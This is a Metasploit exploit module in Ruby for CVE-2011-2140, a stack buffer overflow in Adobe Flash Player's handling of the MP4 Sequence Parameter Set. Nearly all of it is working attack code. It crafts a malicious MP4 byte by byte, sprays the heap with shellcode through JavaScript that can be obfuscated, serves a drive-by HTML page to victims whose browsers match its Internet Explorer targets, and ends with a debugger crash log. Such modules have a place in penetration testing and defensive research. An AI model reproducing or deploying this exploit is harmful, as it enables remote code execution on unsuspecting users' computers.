Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow

[mengele]

This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx component. When processing a MP4 file (specifically the Sequence Parameter Set), Flash will see if pic_order_cnt_type is equal to 1, which sets the num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in offset_for_ref_frame on the stack, which allows arbitrary remote code execution under the context of the user. Numerous reports also indicate that this vulnerability has been exploited in the wild.

Please note that the exploit requires a SWF media player in order to trigger the bug, which currently isn't included in the framework. However, software such as Longtail SWF Player is free for non-commercial use, and is easily obtainable.

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::HttpServer::HTML
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow",
            'Description'    => %q{
                    This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx
                component.  When processing a MP4 file (specifically the Sequence Parameter Set),
                Flash will see if pic_order_cnt_type is equal to 1, which sets the
                num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in
                offset_for_ref_frame on the stack, which allows arbitrary remote code execution
                under the context of the user.  Numerous reports also indicate that this
                vulnerability has been exploited in the wild.
                    Please note that the exploit requires a SWF media player in order to trigger
                the bug, which currently isn't included in the framework.  However, software such
                as Longtail SWF Player is free for non-commercial use, and is easily obtainable.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Alexander Gavrun', #RCA
                    'Abysssec',         #PoC
                    'sinn3r'            #Metasploit
                ],
            'References'     =>
                [
                    [ 'CVE', '2011-2140' ],
                    [ 'BID', '49083' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-276/' ],
                    [ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ],
                    [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ],
                    [ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ],
                    [ 'URL', 'http://www.abysssec.com/blog/2012/01/31/exploiting-cve-2011-2140-another-flash-player-vulnerability/' ]
                ],
            'Payload'        =>
                {
                    'BadChars'        => "\x00",
                    'StackAdjustment' => -3500
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction'         => "seh",
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', {} ],
                    [ 'IE 6 on Windows XP SP3',         { 'Offset' => '0x600' } ], #0x5f4 = spot on
                    [ 'IE 7 on Windows XP SP3 / Vista', { 'Offset' => '0x600' } ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Aug 9 2011",
            'DefaultTarget'  => 0))
            register_options(
                [
                    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']),
                    OptString.new('SWF_PLAYER_URI', [true, 'Path to the SWF Player'])
                ], self.class)
    end
    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'
        if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
            return targets[1]
        elsif agent =~ /MSIE 7/
            return targets[2]
        else
            return nil
        end
    end
    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
        my_target = get_target(agent)
        # Avoid the attack if the victim doesn't have the same setup we're targeting
        if my_target.nil?
            print_error("Browser not supported, will not launch attack: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
            send_not_found(cli)
            return
        end
        # The SWF requests our MP4 trigger
        if request.uri =~ /\.mp4$/
            print_status("Sending MP4 to #{cli.peerhost}:#{cli.peerport}...")
            #print_error("Sorry, not sending you the mp4 for now")
            #send_not_found(cli)
            send_response(cli, @mp4, {'Content-Type'=>'video/mp4'})
            return
        end
        # Set payload depending on target
        p = payload.encoded
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
        js = <<-JS
        var heap_obj = new heapLib.ie(0x20000);
        var code = unescape("#{js_code}");
        var nops = unescape("#{js_nops}");
        while (nops.length < 0x80000) nops += nops;
        var offset = nops.substring(0, #{my_target['Offset']});
        var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
        while (shellcode.length < 0x40000) shellcode += shellcode;
        var block = shellcode.substring(0, (0x80000-6)/2);
        heap_obj.gc();
        for (var i=1; i < 0x300; i++) {
            heap_obj.alloc(block);
        }
        JS
        js = heaplib(js, {:noobfu => true})
        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end
        myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
        mp4_uri = "http://#{myhost}:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.mp4"
        swf_uri = "#{datastore['SWF_PLAYER_URI']}?autostart=true?=video.jpg&file=#{mp4_uri}"
        html = %Q|
        <html>
        <head>
        <script>
        #{js}
        </script>
        </head>
        <body>
        <object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
        <param name="movie" value="#{swf_uri}">
        </object>
        </body>
        </html>
        |
        html = html.gsub(/^\t\t/, '')
        print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
    def exploit
        @mp4 = create_mp4
        super
    end
    def create_mp4
        ftypAtom = "\x00\x00\x00\x20"                   #Size
        ftypAtom << "ftypisom"
        ftypAtom << "\x00\x00\x02\x00"
        ftypAtom << "isomiso2avc1mp41"
        mdatAtom = "\x00\x00\x00\x10"                   #Size
        mdatAtom << "mdat"
        mdatAtom << "\x00\x00\x02\x8B\x06\x05\xFF\xFF"
        moovAtom1 = "\x00\x00\x08\x83"                  #Size
        moovAtom1 << "moov"                             #Move header box header
        moovAtom1 << "\x00\x00\x00"
        moovAtom1 << "lmvhd"                            # Type
        moovAtom1 << "\x00\x00\x00\x00"                 # Version/Flags
        moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
        moovAtom1 << "\x00\x00\x03\xE8"                 # Time scale
        moovAtom1 << "\x00\x00\x2F\x80"                 # Duration
        moovAtom1 << "\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        moovAtom1 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
        moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x02\xFA"
        moovAtom1 << "trak"                             # Track box header
        moovAtom1 << "\x00\x00\x00\x5C"
        moovAtom1 << "tkhd"
        moovAtom1 << "\x00\x00\x00\x0F"
        moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80"  # Creation time
        moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x2E\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        moovAtom1 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        moovAtom1 << "\x00\x00\x00\x00\x40\x00\x00\x00\x01\x42\x00\x00\x01\x42\x00\x00\x00\x00\x02"
        moovAtom1 << "rmdia"
        moovAtom1 << "\x00\x00\x00\x20"                  # Size
        moovAtom1 << "mdhd"                              # Media header box
        moovAtom1 << "\x00\x00\x00\x00"                  # Version/Flags
        moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80"  # Creation time
        moovAtom1 << "\x00\x00\x00\x01"                  # Time scale
        moovAtom1 << "\x00\x00\x00\x0C"                  # Duration
        moovAtom1 << "\x55\xC4\x00\x00"
        moovAtom1 << "\x00\x00\x00\x2D"                  # Size
        moovAtom1 << "hdlr"                              # Handler Reference header
        moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00"
        moovAtom1 << "vide"                              # Handler type
        moovAtom1 << "\x00\x00\x00\x00\x00"
        moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00"
        moovAtom1 << "VideoHandler"                      # Handler name
        moovAtom1 << "\x00\x00\x00\x02\x1D"
        moovAtom1 << "minf"
        moovAtom1 << "\x00\x00\x00\x14"
        moovAtom1 << "vmhd"
        moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24"
        moovAtom1 << "dinf"                              # Data information box header
        moovAtom1 << "\x00\x00\x00\x1c"
        moovAtom1 << "dref"                              # Data reference box
        moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
        moovAtom1 << "\x00\x00\x00\x0C"                  # Size
        moovAtom1 << "url "                              # Data entry URL box
        moovAtom1 << "\x00\x00\x00\x01"                  # Location / version / flags
        moovAtom1 << "\x00\x00\x09\xDD"                  # Size
        moovAtom1 << "stbl"
        moovAtom1 << "\x00\x00\x08\x99"
        moovAtom1 << "stsd"
        moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
        moovAtom1 << "\x00\x00\x08\x89"                  # Size
        moovAtom1 << "avc1"
        moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        moovAtom1 << "\x01\x42"                          # Width
        moovAtom1 << "\x01\x42"                          # Height
        moovAtom1 << "\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        moovAtom1 << "\x18"                              # Depth
        moovAtom1 << "\xFF\xFF"
        moovAtom1 << "\x00\x00\x08\x33"                  # Size
        moovAtom1 << "avcC"
        moovAtom1 << "\x01"                              # Config version
        moovAtom1 << "\x64"                              # Avc profile indication
        moovAtom1 << "\x00"                              # Compatibility
        moovAtom1 << "\x15"                              # Avc level indication
        moovAtom1 << "\xFF\xE1"
        # Although the fields have different values, they all become 0x0c0c0c0c
        # in memory.
        cycle =  "\x00\x00\x00"
        cycle << "\x30\x30\x30\x30"  #6th
        cycle << "\x00\x00\x00"
        cycle << "\x18\x18\x18\x18"  #7th
        cycle << "\x00\x00\x00"
        cycle << "\x0c\x0c\x0c\x0c"  #8th
        cycle << "\x00\x00\x00"
        cycle << "\x06\x06\x06\x06"  #1st
        cycle << "\x00\x00\x00"
        cycle << "\x03\x03\x03\x03"
        cycle << "\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00"
        cycle << "\xc0\xc0\xc0\xc0"  # 4th
        cycle << "\x00\x00\x00"
        cycle << "\x60\x60\x60\x60"
        spsunit =  "\x08\x1A\x67\x70\x34\x32\x74\x70\x00\x00\xAF\x88\x88\x84\x00\x00\x03\x00\x04\x00\x00\x03\x00\x3F\xFF\xFF\xFF\xFF\xFF"
        spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
        spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFC"
        spsunit << cycle * 35
        spsunit << "\x00\x00\x00\x30\x30\x03\x03\x03\x03\x00\x00\x00\xB2\x2C"
        moovAtom2 = "\x00\x00\x00\x18"
        moovAtom2 << "stts"
        moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x00\x00\x00\x01"
        moovAtom2 << "\x00\x00\x00\x14"
        moovAtom2 << "stss"
        moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
        moovAtom2 << "pctts"
        moovAtom2 << "\x00\x00\x00\x00\x00\x00"
        moovAtom2 << "\x00\x0C\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
        moovAtom2 << "\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02"
        moovAtom2 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00"
        moovAtom2 << "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02"
        moovAtom2 << "\x00\x00\x00\x1C"
        moovAtom2 << "stsc"
        moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01"
        moovAtom2 << "\x00\x00\x00\x44"
        moovAtom2 << "stsz"
        moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        moovAtom2 << "\x0C\x00\x00\x2F\x8D\x00\x00\x0C\xFE\x00\x00\x04\x42\x00\x00\x0B\x20\x00\x00\x04\x58\x00\x00\x07\x19\x00\x00\x07"
        moovAtom2 << "\x63\x00\x00\x02\xD6\x00\x00\x03\xC1\x00\x00\x0A\xDF\x00\x00\x04\x9B\x00\x00\x09\x39"
        moovAtom2 << "\x00\x00\x00\x40"
        moovAtom2 << "stco"
        moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x0C\x00\x00\x00\x30\x00\x00\x2F\xBD\x00\x00\x3D\x8A\x00\x00\x48\x19\x00\x00\x5A\xF4"
        moovAtom2 << "\x00\x00\x66\x1F\x00\x00\x73\xEA\x00\x00\x82\x32\x00\x00\x8A\xFA\x00\x00\x95\x51\x00\x00\xA7\x16\x00\x00\xB1\xE5"
        moovAtom = moovAtom1 + spsunit + moovAtom2
        m = ftypAtom + mdatAtom + moovAtom
        return m
    end
end
=begin
C:\WINDOWS\system32\Macromed\Flash\Flash10u.ocx
Flash10u+0x5b4e8:
Missing image name, possible paged-out or corrupt data.
1f06b4e8 8901            mov     dword ptr [ecx],eax  ds:0023:020c0000=00905a4d
0:008> !exchain
020bfdfc: <Unloaded_ud.drv>+c0c0c0b (0c0c0c0c)
ECX points to 0x0c0c0c0c at the time of the crash:
0:008> r
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
eip=0c0c0c0c esp=020befa8 ebp=020befc8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050246
<Unloaded_ud.drv>+0xc0c0c0b:
0c0c0c0c ??              ???
Example of SWF player URI:
http://www.jeroenwijering.com/embed/mediaplayer.swf
To-do:
IE 8 target
=end

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